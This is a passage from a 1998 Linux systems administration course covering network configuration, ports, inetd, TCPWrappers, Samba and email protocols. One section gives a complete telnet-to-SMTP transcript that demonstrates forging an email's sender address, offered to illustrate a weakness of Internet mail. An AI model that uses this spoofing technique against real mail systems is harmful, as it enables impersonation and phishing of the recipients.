bash$ traceroute archie.au traceroute to archie.au (139.130.23.2), 30 hops max, 40 byte packets 1 centaurus.cqu.EDU.AU (138.77.36.1) 1 ms 1 ms 1 ms 2 tucana.cqu.EDU.AU (138.77.5.27) 2 ms 2 ms 2 ms 3 138.77.32.10 (138.77.32.10) 5 ms 5 ms 5 ms 4 qld.gw.au (139.130.60.1) 21 ms 13 ms 51 ms 5 national.gw.au (139.130.48.1) 35 ms 36 ms 40 ms 6 plaza.aarnet.edu.au (139.130.23.2) 38 ms 35 ms 68 ms

A host in the Eastern United States.

bash$ traceroute sunsite.unc.edu traceroute to knuth.cqu.edu.au (139.130.23.2), 30 hops max, 40 byte packets 1 centaurus.cqu.EDU.AU (138.77.36.1) 1 ms 1 ms 1 ms 2 tucana.cqu.EDU.AU (138.77.5.27) 2 ms 2 ms 3 ms 3 138.77.32.10 (138.77.32.10) 5 ms 5 ms 5 ms 4 qld.gw.au (139.130.60.1) 13 ms 20 ms 13 ms 5 national.gw.au (139.130.48.1) 51 ms 36 ms 36 ms 6 usa.gw.au (139.130.29.5) 37 ms 36 ms 38 ms 7 usa-au.gw.au (203.62.255.1) 233 ms 252 ms 264 ms 8 * * t3-0.enss144.t3.nsf.net (192.203.230.253) 224 ms 9 140.222.8.4 (140.222.8.4) 226 ms 236 ms 258 ms 10 t3-3.cnss25.Chicago.t3.ans.net (140.222.25.4) 272 ms 293 ms 266 ms 11 t3-0.cnss40.Cleveland.t3.ans.net (140.222.40.1) 328 ms 270 ms 300 ms 12 t3-1.cnss48.Hartford.t3.ans.net (140.222.48.2) 325 ms 355 ms 289 ms 13 t3-2.cnss32.New-York.t3.ans.net (140.222.32.3) 284 ms 319 ms 347 ms 14 t3-1.cnss56.Washington-DC.t3.ans.net (140.222.56.2) 352 ms 299 ms 305 ms 15 t3-1.cnss72.Greensboro.t3.ans.net (140.222.72.2) 319 ms 344 ms 310 ms 16 mf-0.cnss75.Greensboro.t3.ans.net (140.222.72.195) 343 ms 320 ms * 17 cnss76.Greensboro.t3.ans.net (192.103.68.6) 338 ms 319 ms 355 ms 18 192.103.68.50 (192.103.68.50) 338 ms 330 ms 330 ms 19 rtp5-gw.ncren.net (128.109.135.254) 357 ms 361 ms * 20 * rtp2-gw.ncren.net (128.109.70.253) 359 ms 334 ms 21 128.109.13.2 (128.109.13.2) 374 ms 411 ms 451 ms 22 * calypso-2.oit.unc.edu (198.86.40.81) 418 ms 415 ms There are now a number of visual versions of traceroute, http://www.visualroute.com/, is one of them

David Jones, Bruce Jamieson (15/10/98)

Page 350

85321, Systems Administration

Chapter 15: Networks: The Connection

Exercises
15.3

In the above example examine the times between machines 6 & 7. Why do you think it takes so long to get from machine 6 to machine 7?

Conclusions
Connecting a Linux machine to a network consists of the following steps identifying network hardware that is supported by the Linux kernel ensuring the Linux kernel has compiled into it the necessary network functionality (including support for the hardware) configure the network interface using the ifconfig command ensure that the DNS is configured making use of files such as /etc/hosts /etc/resolv.conf and /etc/hosts.conf ensure that the routing table is set up for your situation The last three steps are usually performed automatically when the system starts up. Tools which can be useful in the management of a network connection include various RedHat GUI tools, nslookup, netstat and traceroute.

Review Questions
15.1 What UNIX commands would you use for the following tasks a) checking a domain name server for the IP address of the machine
www.seven.com.au

b) another machine, c) finding out what machines information passes through as it goes from your machine to www.whitehouse.gov d) configure a network interface, e) display the routing table of your UNIX machine, f) display the ethernet address of your UNIX machine. g) finding out whether or not your computer can access, via the network,

David Jones, Bruce Jamieson (15/10/98)

Page 351

85321, Systems Administration

Chapter 15: Networks: The Connection

15.2 Following are three images taken from "The Net" a movie with Sandra Bullock. Each screen contains what is reportedly an IP address. For each IP address explain why it isn't an IP address.

15.3 Explain the relevance of each of the following

/etc/hosts /etc/resolv.conf /etc/networks /etc/rc.d/rc.inet1

a gateway

15.4 You've just started administering a new Linux computer and executed the following two commands. What does this tell you about the network configuration of these machines? What would the /proc/net/dev file for this system look like? Can you see what is wrong with the configuration of the networking of this system?

David Jones, Bruce Jamieson (15/10/98)

Page 352

85321, Systems Administration

Chapter 15: Networks: The Connection

List the network and host portions of the IP address for each of the network devices listed in the output of these commands.
[root@cq-pan logs]# /sbin/ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:60:97:3A:AA:85 inet addr:138.77.37.37 Bcast:138.77.37.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:61183404 errors:59 dropped:59 overruns:0 TX packets:77722967 errors:0 dropped:0 overruns:0 Interrupt:9 Base address:0xff00 [root@cq-pan logs]# /sbin/ifconfig eth0:1 eth0:1 Link encap:Ethernet HWaddr 00:60:97:3A:AA:85 inet addr:138.77.37.59 Bcast:138.77.37.255 Mask:255.255.255.0 UP BROADCAST RUNNING MTU:1500 Metric:1 RX packets:10894 errors:0 dropped:0 overruns:0 TX packets:210 errors:0 dropped:0 overruns:0 [root@cq-pan logs]# /sbin/ifconfig eth0:2 eth0:2 Link encap:Ethernet HWaddr 00:60:97:3A:AA:85 inet addr:138.77.38.60 Bcast:138.77.38.255 Mask:255.255.255.0 UP BROADCAST RUNNING MTU:1500 Metric:1 RX packets:481325 errors:0 dropped:0 overruns:0 TX packets:259 errors:0 dropped:0 overruns:0

David Jones, Bruce Jamieson (15/10/98)

Page 353

85321, Systems Administration

Chapter 16: Network Applications

Chapter
Introduction

16

Network Applications

In the previous chapter, the concepts behind the operation of a TCP/IP network were discussed. One important topic was not covered. How do the applications communicate? How do services like print/file sharing, electronic mail, File Transfer Protocol, World-Wide Web and others work? That's where this chapter comes in. It aims to provide an overview of how network applications work. How do they operate? How are the configured? What options are open to you? The chapter starts by giving an overview of how network services work and then moves onto describing in detail how the UNIX operating system starts network services. The chapter closes with a detailed look at some specific network services including file/print sharing, messaging (email) and the WorldWide Web.

How it all works

In this section we look at how the various network services are provided. When you telnet to another machine, how does it work? When you send an e-mail message to a user at another host, how is it delivered? The provision of network services like FTP, telnet, e-mail and others relies on these following components network ports, Network ports are the logical (that means that ports are an imaginary construct which exists only in software) connections through which the information flows into and out of a machine. A single machine can have thousands of programs all sending and receiving information via the network at the same time. The delivery of this information to the right programs is achieved through ports. network servers, Network servers are the programs that sit listening at pre-defined ports waiting for connections from other hosts. These servers wait for a request, perform some action and send a response back to the program that requested the action. In general network servers operate as daemons. network clients, and Users access network services using client programs. Example network clients include Netscape, Eudora and the ftp command on a UNIX machine.

David Jones, Bruce Jamieson (15/10/98)

Page 354

85321, Systems Administration

Chapter 16: Network Applications

network protocols. Network protocols specify how the network clients and servers communicate. They define the small "language" which both understand.

Ports
All network protocols, including http ftp SMTP, use either TCP or UDP to deliver information. Every TCP or UDP header contains two 16 bit numbers that are used to identify the source port (the port through which the information was sent) and the destination port (the port through which the information must be delivered.) Similarly, the IP header also contains numbers which describe the IP addresses of the computers which are sending and receiving the current packet. Since port numbers are 16 bit numbers, there can be approximately 64,000 (216 is about 64,000) different ports. Some of these ports are used for predefined purposes. The ports 0-256 are used by the network servers for well known Internet services (e.g. telnet, FTP, SMTP). Ports in the range from 256-1024 are used for network services that were originally UNIX specific. Network client programs and other programs should use ports above 1024. Table 16.1 lists some of the port numbers for well known services. Port number 20 21 23 25 80 119 Purpose
ftp-data ftp telnet SMTP (mail) http (WWW) nntp (network news)
Table 1 6 .1 Re se r v e d Po r ts

This means that when you look at a TCP/UDP packet and see that it is addressed to port 25 then you can be sure that it is part of an email message being sent to a SMTP server. A packet destined for port 80 is likely to be a request to a Web server.

Reserved ports
So how does the computer know which ports are reserved for special services? On a UNIX computer this is specified by the file /etc/services. Each line in the services file is of the format
service-name port/protocol aliases

Where service-name is the official name for the service, port is the port number that it listens on, protocol is the transport protocol it uses and aliases is a list of alternate names. The following is an extract from an example /etc/services file. Most /etc/services files will be the same, or at least very similar.

David Jones, Bruce Jamieson (15/10/98)

Page 355

85321, Systems Administration

Chapter 16: Network Applications

echo 7/tcp echo 7/udp discard 9/tcp sink null discard 9/udp sink null systat 11/tcp users daytime 13/tcp daytime 13/udp ftp-data 20/tcp ftp 21/tcp telnet 23/tcp smtp 25/tcp mail nntp 119/tcp usenet # Network News Transfer ntp 123/tcp # Network Time Protocol

You should be able to match some of the entries in the above example, or in the /etc/services file on your computer, with the entries in Table 16.1. Exercises
16.1

Examine your /etc/services file and discover the port on which the following protocols are used
http gopher pop3

Look at ports, netstat

The netstat command can be used for a number of purposes including looking at all of the current active network connections. The following is an example of the output that netstat can produce (it's been edited to reduce the size).
[david@cq-pan:~]$ netstat -a Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address root tcp 1 7246 cq-pan.cqu.edu.au:www lore.cs.purdue.e:42468 tcp 0 0 cq-pan.cqu.edu.au:www sdlab142.syd.cqu.:1449 tcp 0 0 cq-pan.cqu.edu.au:www dialup102-4-9.swi:1498 tcp 0 22528 cq-pan.cqu.edu.au:www 205.216.78.103:3058 tcp 1 22528 cq-pan.cqu.edu.au:www barney.poly.edu:47547 tcp 0 0 cq-pan.cqu.edu.au:www eda.mdc.net:2395 tcp 0 22528 cq-pan.cqu.edu.au:www eda.mdc.net:2397 tcp 0 0 cq-pan.cqu.edu.au:www cphppp134.cyberne:1657 tcp 0 22528 cq-pan.cqu.edu.au:www port3.southwind.c:1080 tcp 0 9 cq-pan.cqu.edu.:telnet dinbig.cqu.edu.au:1107 tcp 0 0 cq-pan.cqu.edu.au:ftp ppp2-24.INRE.ASU.:1718

(State) User CLOSING root CLOSE root FIN_WAIT2 root CLOSE root CLOSE root CLOSE root CLOSE root FIN_WAIT2 root CLOSE root ESTABLISHED root FIN_WAIT2 root

Explanation Table 16.2 explains each column of the output. Taking the column descriptions from the table, it is possible to make some observations All of the entries, but the last two, are for people accessing this machine's (cq-pan.cqu.edu.au) World-Wide Web server. You can say this because of cq-pan.cqu.edu.au:www. This tells us that the port on the local machine is the www port (port 80). In the second last entry, I am telneting to cq-pan from my machine at home.

David Jones, Bruce Jamieson (15/10/98)

Page 356

85321, Systems Administration

Chapter 16: Network Applications

At that stage my machine at home was called dinbig.cqu.edu.au. The telnet client is using port 1107 on dinbig to talk to the telnet daemon. the last entry is someone connecting to CQ-PAN's ftp server, the connection for the first entry is shut down but not all the data has been sent (this is what the CLOSING state means). This entry, from a machine from Purdue University in the United States, still has 7246 bytes still to be acknowledged Explanation Proto the name of the transport protocol (TCP or UDP) being used Recv-Q the number of bytes not copied to the receiving process Send-Q the number of bytes not yet acknowledged by the remote host Local Address the local hostname (or IP address) and port of the connection
Foreign Address State User

Column name

the remote hostname (or IP address) and remote port the state of the connection (only used for TCP because UDP doesn't establish a connection), the values are described in the man page some systems display the user that owns the local program serving the connection
Table 1 6 .2 Co lumns fo r net

stat

Network servers
The /etc/services file specifies which port a particular protocol will listen on. For example SMTP (Simple Mail Transfer Protocol, the protocol used to transfer mail between different machines on a TCP/IP network) uses port 25. This means that there is a network server that listens for SMTP connections on port 25. This begs some questions How do we know which program acts as the network server for which protocol? How is that program started?

How network servers start

There are two methods by which network servers are started executed as a normal program (usually in the startup files) Servers started in this manner will show up in a ps list of all the current running processes. These servers are always running, waiting for a connection on the specified port. This means that the server is using up system resources (RAM etc) because it is always in existence but it also means that it is very quick to respond when requests arrive for their services. by the inetd daemon The inetd daemon listens at a number of ports and when information
David Jones, Bruce Jamieson (15/10/98) Page 357

85321, Systems Administration

Chapter 16: Network Applications

arrives, it starts the appropriate network server for that port. Which server, for which port, is specified in the configuration file /etc/inetd.conf. Starting a network server via inetd is usually done when there aren't many connections for that server. If a network server is likely to get a large number of connections (a busy mail or WWW server for example) the daemon for that service should be started in the system startup files and always listen on the port. The reason for this is overhead. Using inetd takes longer. /etc/inetd.conf The /etc/inetd.conf file specifies the network servers that the inetd daemon should execute. The inetd.conf file consists of one line for each network service using the following format (Table 16.3 explains the purpose of each field).
service-name socket-type protocol flags user server_program args

Field
service-name socket-type

protocol flags user server_program args

Purpose The service name, the same as that listed in /etc/services The type of data delivery services used (we don't cover this). Values are generally stream for TCP, dgram for UDP and raw for direct IP the transport protocol used, the name matches that in the /etc/protocols file how inetd is to behave with regards this service (not explained any further) the username to run the server as, usually root but there are some exceptions, generally for security reasons the full path to the program to run as the server command line arguments to pass to the server program
Table Fie lds o f 1 6 .3

/etc/inetd.conf

How it works
Whenever the machine receives a request on a port (on which the inetd daemon is listening on), the inetd daemon decides which program to execute on the basis of the /etc/inetd.conf file.

David Jones, Bruce Jamieson (15/10/98)

Page 358

85321, Systems Administration

Chapter 16: Network Applications

Exercises
16.2

16.3

16.4

top is a UNIX command which will give you a progressive display of the current running processes. Use top to observer what happens when a network server is started. For example, start top and then try to telnet or ftp to your machine. Can you see the appropriate server start? What happens if you change the /etc/inetd.conf file? Does the inetd daemon pick up the change automatically? How would you notify inetd of the change? Note: you WILL have to experiment to find out the answer to this question. It isn't included in the study material. A suggested experiment is the following: try the command telnet localhost, this should cause inetd to do some work; if it works, comment out the entry in the inetd.conf file for the telnet service try the first command again. Does it work? If it does then inetd hasn't seen the change. How do you tell it? One way to increase the security of your system is to change the ports on which standard services operate on. For example, rather than having incoming telnet connection occur on port 23 you could move it to port 5000 (rather than using the command telnet localhost you would use the command telnet localhost 5000). Modify your system so that it works this way. (Note: this is what is called security by obscurity. That is, it relies on people not knowing something in order for it to be secure. This doesn't make a security scheme secure, but then it doesn't make it less secure either).

Network clients
All of you will have used a number of network client programs. If you are reading this online you will be using a WWW browser. It's a network client program. When you used the command telnet in the last exercise you were using a network client program. A network client is simply a program (whether it is text based or a GUI program) that knows how to connect to a network server, pass requests to the server and then receive replies.

The telnet client

By default when you use the command telnet jasper, the telnet client program will attempt to connect to port 23 of the host jasper (23 is the telnet port as listed in /etc/services). It is possible to use the telnet client program to connect to other ports. For example the command telnet jasper 25 will connect to port 25 of the machine jasper.

David Jones, Bruce Jamieson (15/10/98)

Page 359

85321, Systems Administration

Chapter 16: Network Applications

The usefulness and problem with this will be discussed on the next couple of pages.

Network protocols
Each network service generally uses its own network protocol that specifies the services it offers, how those services are requested and how they are supplied. For example, the ftp protocol defines the commands that can be used to move files from machine to machine. When you use a command line ftp client, the commands you use are part of the ftp protocol.

Request for comment (RFCs)

For protocols to be useful, both the client and server must agree on using the same protocol. If they talk different protocols then no communication can occur. The standards used on the Internet, including those for protocols, are commonly specified in documents called Request for Comments (RFCs). (Not all RFCs are standards). Someone proposing a new Internet standard will write and submit an RFC. The RFC will be distributed to the Internet community who will comment on it and may suggest changes. The standard proposed by the RFC will be adopted as a standard if the community is happy with it. Protocol FTP Telnet SMTP DNS TCP UDP RFC 959 854 821 1035 793 768

Table 1 6 .4 RFCs fo r Pr o to c o ls

Table 16.4 lists some of the RFC numbers which describe particular protocols. RFCs can and often are very technical and hard to understand unless you are familiar with the area (the RFC for ftp is about 80 pages long).

Text based protocols

Some of these protocols smtp ftp nntp http are text based. They make use of simple text-based commands to perform their duty. Table 16.5 contains a list of the commands that smtp understands. smtp (simple mail transfer protocol) is used to transport mail messages across a TCP/IP network.

David Jones, Bruce Jamieson (15/10/98)

Page 360

85321, Systems Administration

Chapter 16: Network Applications

Command

Purpose

HELO hostname startup and give your hostname MAIL FROM: sender-address mail is coming from this address TO: recipient-address please send it to this address VRFY address EXPN address DATA RSET NOOP DEBUG [level] HELP QUIT

does this address actually exist (verify) expand this address I'm about to start giving you the body of the mail message oops, reset the state and drop the current mail message do nothing set debugging level give me some help please close this connection
Table 1 6 .5 SM TP c o mmands

How it works
When transferring a mail message a client (such as Eudora) will connect to the SMTP server (on port 25). The client will then carry out a conversation with the server using the commands from Table 16.5. Since these commands are just straight text you can use telnet to simulate the actions of an email client. Doing this actually has some real use. I often use this ability to check on a mail address or to expand a mail alias. The following shows an example of how I might do this. The text in bold is what I've typed in. The text in italics are comments I've added after the fact.
beldin:~$ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220-beldin.cqu.edu.au Sendmail 8.6.12/8.6.9 ready at Wed, 1 May 1996 13:20:10 +1 000 220 ESMTP spoken here vrfy david check the address david 250 David Jones <david@beldin.cqu.edu.au vrfy joe check the address joe 550 joe... User unknown vrfy postmaster check the address postmaster 250 <postmaster@beldin.cqu.edu.au expn postmaster postmaster is usually an alias, who is it really?? 250 root <postmaster@beldin.cqu.edu.au

David Jones, Bruce Jamieson (15/10/98)

Page 361

85321, Systems Administration

Chapter 16: Network Applications

Mail spoofing This same approach can be used to spoof mail, that is, send email as someone you are not. This is one of problems with Internet mail. The following is an example of how it's done.
bash$ telnet aldur 25 connect to the smtp port (see /etc/services) Trying 138.77.36.29 ... Connected to aldur.cqu.edu.au. Escape character is '^]'. 220 aldur.cqu.edu.au Amix Smail3.1.28.1 #2 ready at Sun, 28 Aug 94 12:04 EST helo aldur tell the machine who I am (the name of another machine not a user) 250 aldur.cqu.edu.au Hello aldur mail from: god@heaven.com this is who the mail is coming from 250 <god@heaven> ... Sender Okay data I want to enter some data which is the message 503 Need RCPT (recipient) can't do that yet, must tell it who to send message to rcpt: david@aldur 500 Command unrecognized oops, typed it wrong rcpt to: david@aldur 250 <david@aldur> ... Recipient Okay data 354 Enter mail, end with "." on a line by itself You have been a naughty boy type in the message . 250 Mail accepted quit bye, bye 221 aldur.cqu.edu.au closing connection Connection closed by foreign host.

There are methods which can be used to identify email sent in this way.

Exercises
16.5

Using the "telnet" approach connect to an ftp server and a http server. What commands do they recognise?

Security
Putting your computer on a network, especially the Internet, makes it accessible to a lot of other people and not all of those people are nice. It is essential that you put in place some sort of security to protect your system from these nasty people. The next chapter takes a more indepth look at security. In this section we examine some of the steps you can take to increase the security of your system including TCPWrappers, packet filtering and encryption.

TCPWrappers/tcpd

David Jones, Bruce Jamieson (15/10/98)

Page 362

85321, Systems Administration

Chapter 16: Network Applications

The following are entries from two different /etc/inetd.conf files. Both are the entries dealing with the telnet service. The second entry is from a "modern" Linux machine, the first is from an earlier UNIX machine.
telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.telnetd

The difference
Do you notice the difference? The program being run on the Linux machine is /usr/sbin/tcpd. If you examine the entries in a Linux machine's /etc/inetd.conf you will find that this program is executed for all (almost) network services.
tcpd is the public domain program TCPWrappers that comes standard on all

Linux machines. It is a special daemon that provides some additional services including added security, access control and logging facilities for all network connections. TCPWrappers works by being inserted between the inetd daemon and the various network daemons that are executed by inetd. Figures 16.1 and 16.2 demonstrate the difference.

inetd

Fig ur e 1 6 .1 by itse lf

inetd tcpd features tcpd works as follows

Fig ur e 1 6 .2 with tc

pd

a request for a particular network request is received, the configuration of inetd is such that tcpd is executed rather than the actual server for this request, tcpd logs the request via syslog, On RedHat 5.0 each connection is logged into the file

David Jones, Bruce Jamieson (15/10/98)

Page 363

85321, Systems Administration

Chapter 16: Network Applications

/var/log/secure. Information stored includes the time it was made, the host trying to make the connection and the name of the network service being requested. An example entry looks like
May 1 12:13:46 beldin in.telnetd[684]: connect from localhost

tcpd then performs a number of checks, These checks make use of some the extra features of tcpd including pattern-based access control. This allows you to specify which hosts are allowed (or not) to use a particular network service. You can use this feature to restrict who can make use of your network services. tcpd also allows you to execute UNIX commands when a particular type of connection occurs. Exercises
16.6

The manual page for tcpd says that more information about the access control features of tcpd can be found on the hosts_access(5) manual page. What command would you use to view this page?

hostname verification, Some of the network protocols rely on hostnames for authentication. For example, you may only be able to use the rsh command if your computer is called beldin.cqu.edu.au. It is possible for people to setup computers that will pretend to be another hostname. tcpd offers a feature which will verify that a host is really who they say they are. protection against host address spoofing. It is also possible to spoof an IP address. That is, packets being sent from machine are modified to look as if they are being sent from another, trusted, machine. tcpd offers a feature to detect and reject any connections of this type. While most Linux systems come with tcpd as standard many commercial systems don't. tcpd is in the public domain and can be compiled for most UNIX platforms. Exercises
16.7

16.8

16.9 16.10

Using tcpd how would you achieve the following Configure your machine so there are no network services available. Once you've done this attempt to telnet and ftp to your machine. Keep this tcpd configuration for all the exercises in this group. What effect would the previous question have on the ability for your machine to receive email? Modify your tcpd configuration to allow the receipt of email. Try connecting to the Web server on your machine. Assuming you have a standard RedHat 5.0 installation you should still be able to connect to

David Jones, Bruce Jamieson (15/10/98)

Page 364

85321, Systems Administration

Chapter 16: Network Applications

the Web server. Why can you still do this? Shouldn't your tcpd configuration have stopped this? Other methods for securing a network connection are discussed in the security chapter.

What's an Intranet?
Intranets are the latest buzzword in the computer industry. The buzzword makers have finally realised the importance of the Internet (and the protocols with which it was constructed) and have started adopting it for a number of purposes. An intranet is basically a local area network used by an organisation that uses the Internet protocols to provide the services normally associated with a LAN plus offering Internet services (but not necessarily Internet access).

Services on an Intranet
The following is a list of the most common services that an Intranet might supply (by no means all of them). This is the list of services we'll discuss in more detail in this chapter. The list includes file sharing, The common ability to share access to applications and data files. It's much simpler to install one copy of an application on a network server than it is to install 35 copies on each individual PC. print sharing, and The ability for many different machines to share a printer. It is especially economically if the printer is an expensive, good quality printer. electronic mail. Sometimes called messaging. Electronic mail is fast becoming an essential tool for most businesses.

File and print sharing

There is a famous saying in the computing field. The nice thing about standards is that there are so many to choose from. This statement is especially true in the area of sharing printers and files in a local area network. Some of the different protocols are outlined in Table 16.6 which also describes the origins of each protocol.

David Jones, Bruce Jamieson (15/10/98)

Page 365

85321, Systems Administration

Chapter 16: Network Applications

Name Server Message Block (SMB)

Description The protocol used by Windows for Workgroups, 95 and NT and OS/2 and a couple of others. Becoming the protocol with the largest number of clients. Netware is the term used to describe Novell's network OS. Netware Includes the protocols IPX and NCP (amongst others). A very popular, but possibly dying, network operating system (NOS). The networking built-in to all Macintosh computers. Many Macs Appletalk now use MacTCP which allows them to "talk" TCP/IP. Network File System The traditional UNIX based file sharing system. NFS clients and (NFS) servers are available for most platforms.
Pr o to c o ls fo r Table 1 6 .6 shar ing file s and pr inte r s

Due to a number of free software packages, Linux, and most versions of UNIX, can actually act as a server for all of the protocols listed above. Due to the popularity of the Windows family of operating systems, the following will examine the SMB protocols. The "native" form of file sharing on a UNIX machine is NFS. If you wanted to share files between UNIX machines, NFS would be the choice.

Samba
Samba is a piece of software, originally written by Andrew Tridgell (a resident of Canberra), and now maintained by a large number of people from throughout the world. Samba allows a UNIX machine to act as a file and print server for clients running Windows for Workgroups, Windows 95, NT and a couple of other operating systems. The combination of Linux and Samba is possibly the cheapest way of obtaining a server for a Intranet (if you don't include cost and training). The following is a very simple introduction to how you might use Samba on a RedHat 5.0 machine. This process is much simpler on RedHat 5.0 as Samba comes pre-configured. The readings down below provide much more information about Samba. The configuration file for Samba is /etc/smb.conf. An entry in this configuration file which allows a user's home directory to be exported to SMB clients is the following
[homes] comment = Home Directories browseable = no read only = no preserve case = yes short preserve case = yes create mode = 0750

If your Linux machine happens to be on a network and you have a Win95/NT or even 3.11 machine on the same network, you should be able to connect to your home directory from that Windows machine using the standard approach
David Jones, Bruce Jamieson (15/10/98) Page 366

85321, Systems Administration

Chapter 16: Network Applications

for mapping a network drive. Figure 16.3 is the dialog box on a Windows 95 machine.

Dialo g

bo x

fo r

Fig ur e 1 6 .3 mapping a ne two r k dr iv e .

In this example, the name of my Linux computer is beldin and my username on beldin is david. Once connected, I can now read and write files from my home directory from within Windows. Chances are most of you will not have a local area network (LAN) at home that has your RedHat Linux machine and another Windows machine connected. This makes it difficult for you to recreate the above example. Luckily Samba comes with a program called smbclient. smbclient is a UNIX program which allows you to connect to Samba shares. This means when you use smbclient you are simulating what would happen if you were using a Windows machine. The following is an example of using smbclient to connect to the same share as in the Windows example above.
[david@beldin david]$ smbclient '\\beldin\david' Added interface ip=138.77.36.28 bcast=138.77.36.255 nmask=255.255.255.0 Unknown socket option TCP_NODELAY Server time is Fri Feb 6 14:04:50 1998 Timezone is UTC+10.0 Password: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 1.9.17p4] security=user smb: \> help ls dir lcd cd pwd get mget put mput rename more mask del rm mkdir md rmdir rd pq prompt recurse translate lowercase print printmode queue qinfo cancel stat quit q exit newer archive tar blocksize tarmode setmode help ? ! smb: \> ls *.pdf ei010106.pdf 129777 Mon Jan 26 12:34:06 1998 ei020102.pdf 229292 Mon Jan 26 12:34:54 1998 ei020103.pdf 291979 Mon Jan 26 12:35:22 1998 50176 blocks of size 16384. 2963 blocks available smb: \>

Once you connect with smbclient you see the smbclient prompt at which you can enter a number of commands. This acts a bit like a commandline ftp prompt.

David Jones, Bruce Jamieson (15/10/98)

Page 367

85321, Systems Administration

Chapter 16: Network Applications

Reading The Resource Materials section for week 10 provides pointers to more information about Samba including the Samba home page and the Samba HOW-TO.

Exercises
16.11

Check that Samba is installed and configured on your system. Use smbclient or a Windows machine to see if you can connect to your home directory.

Email
Electronic mail, at least on the surface, looks fairly easy. However there are a number of issues that make configuring and maintaining Internet electronic mail a complex and occasionally frustrating task. Examining this task in-depth is beyond the scope of this subject. Instead, the following pages will provide an overview of the electronic mail system.

Email components
Programs that help send, reply and distribute email are divided into three categories mail user agents (MUA), These are the programs that people use to read and send email. Common MUAs include Eudora, Netscape (it has a mail and news reader as well as a Web browser) and text-based tools such as elm or pine. MUAs allow a user to read and write email. mail delivery agents (MDA), Once a mail message is delivered to the right computer, the MDA is responsible for placing it into the appropriate mail file. mail transport agents (MTA). Perform a number of tasks including some delivery, forwarding of email to other MTAs closer to the final recipient and some address translation. Figure 16.4 provides an overview of how these components fit together.

David Jones, Bruce Jamieson (15/10/98)

Page 368

85321, Systems Administration

Chapter 16: Network Applications

An

Fig ur e 1 6 .4 o v e r v ie w o f the mail

syste m

The following is a brief description of how email is delivered for most people Mail server Most people will have an account on a mail server which will be running UNIX, Windows NT or some other operating system. At a minimum, the user's account will include a mail file. All email delivered for that user is appended onto the end of that mail file. Remote mail client Reading and writing mail for most people is done using a MUA like Eudora or Netscape on a remote mail client. This "remote mail client" is the user's normal computer they use for normal applications. The client mail computer will retrieve the user's mail from the mail server using a protocol such as POP or IMAP (see Table 16.6). Sending email will be via the SMTP protocol to the mail server's SMTP daemon (sendmail if its the server is a UNIX computer).

Email Protocols
Table 16.7 lists some of the common protocols associated with email and briefly describes their purpose.

David Jones, Bruce Jamieson (15/10/98)

Page 369

85321, Systems Administration

Chapter 16: Network Applications

Protocol SMTP POP

IMAP

MIME

PEM

Description Simple Mail Transport Protocol, the protocol used to transport mail from one Internet host to another Post Office Protocol, defines a method by which a small host can obtain mail from a larger host without running a MTA (like sendmail). Described in RFCs 1725 1734 Internet Message Access Protocol, allows client mail programs to access and manipulate electronic mail messags on a server, including the manipulation of folders. Described in RFCs 1730, 1731. Multipurpose Internet Mail Extensions, defines methods for sending binary data such as Word documents, pictures and sounds via Internet email which is distributed as text. Described in RFCs 1521 1522 and others. Privacy-Enhanced Mail, message encryption and authentication procedures, proposed standard outlined in RFCs 1421, 1422 and 1423

Format of text The standard format of Internet email which is described in RFC822 messages
Pr o to c o ls and Table 1 6 .7 standar ds asso c iate d with Email

Unix mail software Your RedHat 5.0 Linux machine will include the following software related to email sendmail sendmail is the UNIX MTA. It may well be one of the most difficult and hated pieces of software in the world. However, recent versions have solved many of its problems. sendmail is the SMTP daemon on most UNIX machines. That is it is the server that handles SMTP requests. popd The pop daemon is contacted by MTAs such as Eudora when they wish to transfer a user's email from the server onto the client. imapd The imap daemon may not be installed on all machines but it is distributed with RedHat 5.0. imapd responds to MTAs which use imap to transfer email from the server to the client. The readings below contain a pointer to a document which describes the differences between IMAP and POP. various mail clients A RedHat 5.0 machine will include a number of mail clients including mutt, elm, pine and mh.

David Jones, Bruce Jamieson (15/10/98)

Page 370

85321, Systems Administration

Chapter 16: Network Applications

Reading The resource materials section on the 85321 Website/CD-ROM has pointers to a number of documents including a sendmail tutorial and a comparison of IMAP and POP. You will need to use these resources for the following exercise.

Exercises
16.12

16.13

Set up email on your Linux machine (refer to the Linux mail HOW-TO). Included in the procedure, obtain a POP mail client and get it working. The Netscape web browser includes a POP mail client for UNIX (it's what I use to read my mail). The latest versions of Netscape also support IMAP. Configure your system to use IMAP rather than POP.

World-Wide Web
The World-Wide Web is the killer application which has really taken the Internet by storm. Most of the Web servers currently on the Internet are UNIX machines running the Apache Web server (http://www.apache.org/). RedHat 5.0 comes with Apache pre-installed. If you use a Web browser to connect to your Linux machine (e.g. http://localhost/) Redhat provides pointers to documentation on configuring Apache. Reading The resource materials section for week 10 has a pointer called "Apache still King" which is an article reporting on a survey which found that over 50% of the Web sites surveyed are running Apache.

Conclusions
This chapter has looked in general at how network services work and in particular at file and print sharing with Samba, email and World-Wide Web. Most network services consist of a server program responding to the requests from a client program. The client and server use a predefined protocol to exchange information. Information transferred between the client and server goes through ports. Network ports are used to deliver information to one of the many network applications that may be running on a computer. Network ports from 0-1024 are used for pre-defined purposes. The allocation of those ports to applications is done in the /etc/services file. The netstat command can be used to examine the currently active network connections including which ports are being used.

David Jones, Bruce Jamieson (15/10/98)

Page 371

85321, Systems Administration

Chapter 16: Network Applications

Network servers generally run as daemons waiting for a request. Servers are either started in the system start-up scripts (/etc/rc.d/*) or by the inetd daemon. The file /etc/inetd.conf is used to configure which servers inetd will start. Most Linux systems come already installed with tcpd (TCPWrappers). tcpd works with inetd to provide a number of additional features including logging, user validation and access control. Intranets are the latest industry buzzword and are simply a local area network built using Internet protocols. Linux in conjunction with Samba and other public domain tools can act as a very cheap Intranet server offering file and print services, WWW server, electronic mail, ftp and other Internet services. Samba is a public domain piece of software that enables a UNIX computer to act as a file and printer server for client machines running Windows and other LanManager clients. Programs associated with email are placed into one of three categories mail user agents (MUA) mail transport agents (MTA) mail delivery agents (MDA) sendmail is possibly the most popular and flexible mail transport agent. Much of its fearful reputation comes from the concise syntax of its configuration file /etc/sendmail.cf.

